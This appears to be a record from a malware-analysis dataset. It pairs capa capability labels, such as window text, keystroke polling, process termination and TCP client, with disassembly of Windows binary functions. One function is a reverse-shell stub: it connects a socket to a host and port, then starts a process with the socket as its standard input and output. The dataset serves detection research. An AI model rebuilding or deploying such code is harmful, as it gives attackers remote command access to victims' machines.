joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000abcc
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x18003e090]
xor rax, rsp
mov qword [rsp + 0x220], rax
test rcx, rcx
mov rbx, rdx
mov rdi, rcx
jne 0x18000ac01
call fcn.180009b30
int3
test rdx, rdx
jne 0x18000ac0c
call fcn.180009b30
int3
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
and word [rsp + 0x20], 0
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x1fe
mov esi, eax
call fcn.1800157f0
mov r8d, pe_nt_image_headers64
cmp esi, r8d
ja 0x18000ac5e
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp eax, esi
jne 0x18000ac5e
lea rcx, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x18000ac6a
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowTextW]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1800157c0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x18000ceb4
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov edi, ecx
call fcn.180007f04
mov rbx, rax
mov rax, qword [rax + 0x78]
test rax, rax
je 0x18000ceeb
mov rcx, qword [rax + 0x40]
test rcx, rcx
je 0x18000ceeb
xor r9d, r9d
xor r8d, r8d
mov edx, 0x401
call qword [sym.imp.USER32.dll_SendMessageW]
test edi, edi
mov rbx, qword [rbx + 0xa0]
je 0x18000cf1b
test rbx, rbx
je 0x18000cf1b
mov ecx, 1
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18000cf1b
mov rax, qword [rbx]
or rdx, 0xffffffffffffffff
mov rcx, rbx
call qword [rax + 0x2d0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180016270
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5b0
mov rbp, rcx
mov rcx, qword [0x180043540]
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.180018d70
test rax, rax
je 0x1800162c4
mov r10, qword [rsp + 0x5e0]
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], r10
call rax
jmp 0x180016359
mov ecx, 2
call fcn.180020af0
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.1800157f0
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x180016345
test ebx, ebx
jne 0x180016345
lea ecx, [rax + 2]
call fcn.180020af0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180016f50
Capabilities:
Accept command line arguments

Disassembly:
push rbx
sub rsp, 0x20
cmp edx, 1
mov rbx, r8
jne 0x1800170b7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x180016fa8
mov rcx, rax
mov dword [rax], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x180016fb0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x30], rbp
mov ebp, dword [rbx + 8]
mov qword [rsp + 0x38], rsi
mov esi, dword [rbx + 4]
mov qword [rsp + 0x40], rdi
mov edi, dword [rbx + 0xc]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x10]
and edi, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r12d, 2
je 0x180016ff5
bts edi, 0xf
mov eax, esi
mov ecx, 1
mov dword [0x180043574], r12d
shl eax, 8
mov dword [0x180043580], esi
mov dword [0x180043584], ebp
add eax, ebp
mov dword [0x180043578], edi
mov dword [0x18004357c], eax
call fcn.180021ab0
mov r12, qword [rsp + 0x48]
test eax, eax
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
je 0x180016fa8
call fcn.180019330
test eax, eax
je 0x1800170aa
call fcn.180022570
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [0x180045728], rax
call fcn.1800223a0
mov qword [0x180043558], rax
call fcn.180021b40
test eax, eax
js 0x1800170a5
call fcn.180022290
test eax, eax
js 0x1800170a0
call fcn.180021f00
test eax, eax
js 0x1800170a0
xor ecx, ecx
call fcn.1800175a0
test eax, eax
jne 0x1800170a0
add dword [0x180043550], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret
call fcn.180021e70
call fcn.180018e50
call fcn.180021b10
xor eax, eax
add rsp, 0x20
pop rbx
ret
test edx, edx
jne 0x180017100
mov eax, dword [0x180043550]
test eax, eax
jle 0x180016fa8
sub eax, 1
cmp dword [0x1800435d0], edx
mov dword [0x180043550], eax
jne 0x1800170df
call fcn.1800177c0
test rbx, rbx
jne 0x180017179
call fcn.180021e70
call fcn.180018e50
call fcn.180021b10
lea eax, [rbx + 1]
add rsp, 0x20
pop rbx
ret
cmp edx, 2
jne 0x18001716d
call fcn.180018e40
mov edx, 0x2d8
mov ecx, 1
call fcn.1800194c0
test rax, rax
mov rbx, rax
je 0x180016fa8
mov ecx, dword [0x18003e230]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_FlsSetValue]
test eax, eax
je 0x18001715d
xor edx, edx
mov rcx, rbx
call fcn.180018ea0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov qword [rbx + 8], 0xffffffffffffffff
mov dword [rbx], eax
mov eax, 1
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
call fcn.1800173e0
xor eax, eax
add rsp, 0x20
pop rbx
ret
cmp edx, 3
jne 0x180017179
xor ecx, ecx
call fcn.1800192d0
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x18001b260
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
sub rsp, 0x30
lea r12, [0x18003e270]
xor esi, esi
mov edi, ecx
mov rax, r12
mov ebx, esi
nop
cmp ecx, dword [rax]
je 0x18001b29e
add ebx, 1
add rax, 0x10
cmp ebx, 0x17
jb 0x18001b280
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
cmp ebx, 0x17
jae 0x18001b485
mov ecx, 3
call fcn.180025600
cmp eax, 1
je 0x18001b43c
mov ecx, 3
call fcn.180025600
test eax, eax
jne 0x18001b2d5
cmp dword [0x180043568], 1
je 0x18001b43c
cmp edi, 0xfc
je 0x18001b485
mov qword [rsp + 0x50], rbp
lea rbp, [0x180043600]
lea r8, str.Runtime_Error__n_nProgram:
mov rcx, rbp
mov edx, 0x314
call fcn.180019680
test eax, eax
je 0x18001b319
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800161d0
lea rdx, [0x180043619]
mov r8d, 0x104
xor ecx, ecx
mov byte [0x18004371d], sil
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x18001b369
lea r8, str._program_name_unknown_
lea rcx, [0x180043619]
mov edx, 0x2fb
call fcn.180019680
test eax, eax
je 0x18001b369
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800161d0
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x180043619]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 0x3c
jbe 0x18001b3b8
lea rcx, [rcx + rbp - 0x23]
lea rdx, [0x180043914]
lea r9d, [rax + 3]
lea r8, [0x180033564]
sub rdx, rcx
call fcn.180021350
test eax, eax
je 0x18001b3b8
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800161d0
lea r8, [0x180033560]
mov edx, 0x314
mov rcx, rbp
call fcn.180021290
test eax, eax
je 0x18001b3e4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800161d0
movsxd r8, ebx
mov edx, 0x314
mov rcx, rbp
add r8, r8
mov r8, qword [r12 + r8*8 + 8]
call fcn.180021290
test eax, eax
je 0x18001b414
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call fcn.1800161d0
lea rdx, str.Microsoft_Visual_C_Runtime_Library
mov r8d, 0x12010
mov rcx, rbp
call fcn.1800253a0
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x18001b485
cmp rax, 0xffffffffffffffff
je 0x18001b485
xor eax, eax
movsxd rcx, ebx
lea r9, [rsp + 0x58]
add rcx, rcx
mov qword [rsp + 0x20], rsi
mov rdx, qword [r12 + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x18001b4a0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
mov ecx, 3
call fcn.180025600
cmp eax, 1
je 0x18001b4d2
mov ecx, 3
call fcn.180025600
test eax, eax
jne 0x18001b586
cmp dword [0x180043568], 1
jne 0x18001b586
mov qword [rsp + 0x48], rbx
lea rbx, [0x18003e270]
mov qword [rsp + 0x30], rdi
mov rax, rbx
xor edi, edi
cmp dword [rax], 0xfc
je 0x18001b4fe
add edi, 1
add rax, 0x10
cmp edi, 0x17
jb 0x18001b4e8
jmp 0x18001b572
cmp edi, 0x17
jae 0x18001b572
mov ecx, 3
call fcn.180025600
cmp eax, 1
je 0x18001b529
mov ecx, 3
call fcn.180025600
test eax, eax
jne 0x18001b572
cmp dword [0x180043568], 1
jne 0x18001b572
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x18001b572
cmp rax, 0xffffffffffffffff
je 0x18001b572
movsxd rcx, edi
xor eax, eax
lea r9, [rsp + 0x40]
add rcx, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [rbx + rcx*8 + 8]
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0xff
call main
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x38
ret

Function at 0x18001b647
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18003e090]
jne 0x1800157da
rol rcx, 0x10
test cx, 0xffff
jne 0x1800157d6
repz ret
ror rcx, 0x10
jmp 0x18001b5a0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1800439d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180043ac8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18001b625
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1800439d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18001b647
mov rax, qword [rsp + 0x88]
mov qword [0x180043ac8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180043a68], rax
mov rax, qword [0x180043ac8]
mov qword [0x180043940], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180043a50], rax
mov dword [0x180043930], 0xc0000409
mov dword [0x180043934], 1
mov rax, qword [0x18003e090]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18003e098]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1800439c8], eax
mov ecx, 1
call fcn.180020af0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1800335a0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1800439c8], 0
jne 0x18001b6ce
mov ecx, 1
call fcn.180020af0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1800223a0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [0x1800442f8]
test eax, eax
jne 0x1800223f3
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x1800223d3
mov dword [0x1800442f8], 1
jmp 0x18002240e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1800223ed
mov dword [0x1800442f8], 2
jmp 0x1800224e9
mov eax, dword [0x1800442f8]
cmp eax, 1
jne 0x1800224e0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x180022533
cmp word [rdi], 0
mov qword [rsp + 0x50], rbp
mov rbx, rdi
mov qword [rsp + 0x58], r12
je 0x180022435
add rbx, 2
cmp word [rbx], 0
jne 0x180022421
add rbx, 2
cmp word [rbx], 0
jne 0x180022421
xor r12d, r12d
sub rbx, rdi
mov r8, rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
sar rbx, 1
lea r9d, [rbx + 1]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
movsxd rbp, eax
je 0x1800224d3
mov rcx, rbp
call fcn.180019450
test rax, rax
mov rsi, rax
je 0x1800224d3
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r9d, [rbx + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x1800224ad
mov rcx, rsi
call fcn.1800173e0
mov rsi, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbp, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1800224b9
cmp eax, 2
je 0x1800224e9
test eax, eax
jne 0x180022533
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test rax, rax
mov rbx, rax
je 0x180022533
cmp byte [rax], 0
je 0x180022512
nop
add rax, 1
cmp byte [rax], 0
jne 0x180022500
add rax, 1
cmp byte [rax], 0
jne 0x180022500
sub eax, ebx
add eax, 1
movsxd rsi, eax
mov rcx, rsi
call fcn.180019450
test rax, rax
mov rdi, rax
jne 0x180022545
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180018090
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rax, rdi
add rsp, 0x40
pop rdi
ret
Function at 0x1800253a0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov edi, r8d
mov r13, rdx
mov r14, rcx
call fcn.180018c80
xor ebx, ebx
cmp qword [0x1800443b8], rbx
mov rbp, rax
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x30], ebx
jne 0x1800254cc
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rsi, rax
je 0x1800255df
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800255df
mov rcx, rax
call fcn.180018bb0
lea rdx, [0x1800349e0]
mov rcx, rsi
mov qword [0x1800443b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180018bb0
lea rdx, [0x1800349c8]
mov rcx, rsi
mov qword [0x1800443c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180018bb0
lea rcx, [rsp + 0x98]
mov qword [0x1800443c8], rax
call fcn.180017500
test eax, eax
je 0x18002547f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1800161d0
cmp dword [rsp + 0x98], 2
jne 0x1800254cc
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180018bb0
test rax, rax
mov qword [0x1800443d8], rax
je 0x1800254cc
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.180018bb0
mov qword [0x1800443d0], rax
mov rcx, qword [0x1800443d0]
mov qword [rsp + 0x80], r12
cmp rcx, rbp
je 0x180025578
cmp qword [0x1800443d8], rbp
je 0x180025578
call fcn.180018d70
mov rcx, qword [0x1800443d8]
mov rsi, rax
call fcn.180018d70
test rsi, rsi
mov r12, rax
je 0x180025578
test rax, rax
je 0x180025578
call rsi
test rax, rax
je 0x180025543
lea rcx, [rsp + 0x34]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180025543
test byte [rsp + 0x40], 1
jne 0x180025578
lea rcx, [rsp + 0x30]
call fcn.180017550
test eax, eax
je 0x180025565
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1800161d0
cmp dword [rsp + 0x30], 4
jb 0x180025572
bts edi, 0x15
jmp 0x1800255b6
bts edi, 0x12
jmp 0x1800255b6
mov rcx, qword [0x1800443c0]
cmp rcx, rbp
je 0x1800255b6
call fcn.180018d70
test rax, rax
je 0x1800255b6
call rax
test rax, rax
mov rbx, rax
je 0x1800255b6
mov rcx, qword [0x1800443c8]
cmp rcx, rbp
je 0x1800255b6
call fcn.180018d70
test rax, rax
je 0x1800255b6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800443b8]
call fcn.180018d70
mov r12, qword [rsp + 0x80]
test rax, rax
je 0x1800255df
mov r9d, edi
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1800255e1
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x180026b70
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x18003e090]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x180026bb7
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800157c0
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.180015950
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1800157c0
add rsp, 0x38
ret
Function at 0x18002a1e0
Capabilities:
Clear file content

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r13
sub rsp, 0x20
mov rbp, rdx
xor edi, edi
xor edx, edx
lea r8d, [rdi + 1]
mov esi, ecx
call fcn.180025660
cmp rax, 0xffffffffffffffff
mov r13, rax
je 0x18002a384
lea r8d, [rdi + 2]
xor edx, edx
mov ecx, esi
call fcn.180025660
cmp rax, 0xffffffffffffffff
je 0x18002a384
mov qword [rsp + 0x40], rbx
mov rbx, rbp
mov qword [rsp + 0x50], r14
sub rbx, rax
test rbx, rbx
jle 0x18002a303
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r14d, 0x1000
lea edx, [rdi + 8]
mov rcx, rax
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbp, rax
jne 0x18002a289
call fcn.180017d40
mov dword [rax], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
call fcn.180017d40
mov eax, dword [rax]
mov rbx, qword [rsp + 0x40]
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop rdi
pop rsi
ret
mov edx, 0x8000
mov ecx, esi
mov qword [rsp + 0x48], r12
call fcn.18002a460
mov r12d, eax
nop
mov r8d, ebx
cmp rbx, r14
mov rdx, rbp
cmovge r8d, r14d
mov ecx, esi
call fcn.18001e340
cmp eax, 0xffffffff
je 0x18002a2c5
cdqe
sub rbx, rax
test rbx, rbx
jg 0x18002a2a0
jmp 0x18002a2de
call fcn.180017d70
cmp dword [rax], 5
jne 0x18002a2da
call fcn.180017d40
mov dword [rax], 0xd
or rdi, 0xffffffffffffffff
mov edx, r12d
mov ecx, esi
call fcn.18002a460
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x48]
jmp 0x18002a35c
test rbx, rbx
jns 0x18002a366
xor r8d, r8d
mov rdx, rbp
mov ecx, esi
call fcn.180025660
cmp rax, 0xffffffffffffffff
je 0x18002a26a
mov ecx, esi
call fcn.180027000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
neg eax
sbb rdi, rdi
neg rdi
sub rdi, 1
cmp rdi, 0xffffffffffffffff
jne 0x18002a366
call fcn.180017d40
mov dword [rax], 0xd
call fcn.180017d70
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx], eax
cmp rdi, 0xffffffffffffffff
je 0x18002a26a
xor r8d, r8d
mov rdx, r13
mov ecx, esi
call fcn.180025660
cmp rax, 0xffffffffffffffff
je 0x18002a26a
xor eax, eax
jmp 0x18002a271
call fcn.180017d40
mov rbp, qword [rsp + 0x58]
mov eax, dword [rax]
add rsp, 0x20
pop r13
pop rdi
pop rsi
ret
Function at 0x18002da1c
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x18003e090]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call fcn.1800157f0
and qword [rbx + 0x50], 0
and dword [rbx + 0x58], 0
and dword [rbx + 0x5c], 0
lea rax, [0x180000000]
mov esi, 0x94
lea rcx, [rsp + 0x20]
mov r8, rsi
xor edx, edx
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx], 0x60
mov byte [rbx + 0x18], 0
call fcn.1800157f0
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x30], 2
mov esi, 1
jne 0x18002daaf
cmp dword [rsp + 0x24], 5
jb 0x18002dac9
jmp 0x18002dac5
cmp dword [rsp + 0x30], esi
jne 0x18002dac9
cmp dword [rsp + 0x24], 4
ja 0x18002dac5
jne 0x18002dac9
cmp dword [rsp + 0x28], 0
jbe 0x18002dac9
mov byte [rbx + 0x18], sil
lea rax, [0x180034b80]
lea rcx, [rbx + 0x28]
mov dword [rbx + 0x1c], 0x800
mov qword [rbx + 0x20], rax
call fcn.18002d8dc
movzx ecx, byte [0x18003fb10]
test eax, eax
mov rax, rbx
cmovs ecx, esi
mov byte [0x18003fb10], cl
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1800157c0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2a0
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
mov edi, 2
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov ecx, edi
mov dword [rsp + 0x20], esi
lea edx, [rsi + 1]
lea r8d, [rsi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0xada7
mov word [rsp + 0xc0], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [rsp + 0xc2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea r8d, [rsi + 0x10]
mov rcx, rbx
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xc4], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1400010c9
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x10
lea rdx, [rsp + 0xc0]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400010a3
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbx
movups xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0x48], rax
lea rdx, [0x14000228c]
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x8c], 0x100
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400011a0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140001a7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ac6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ac6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ac6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ac6
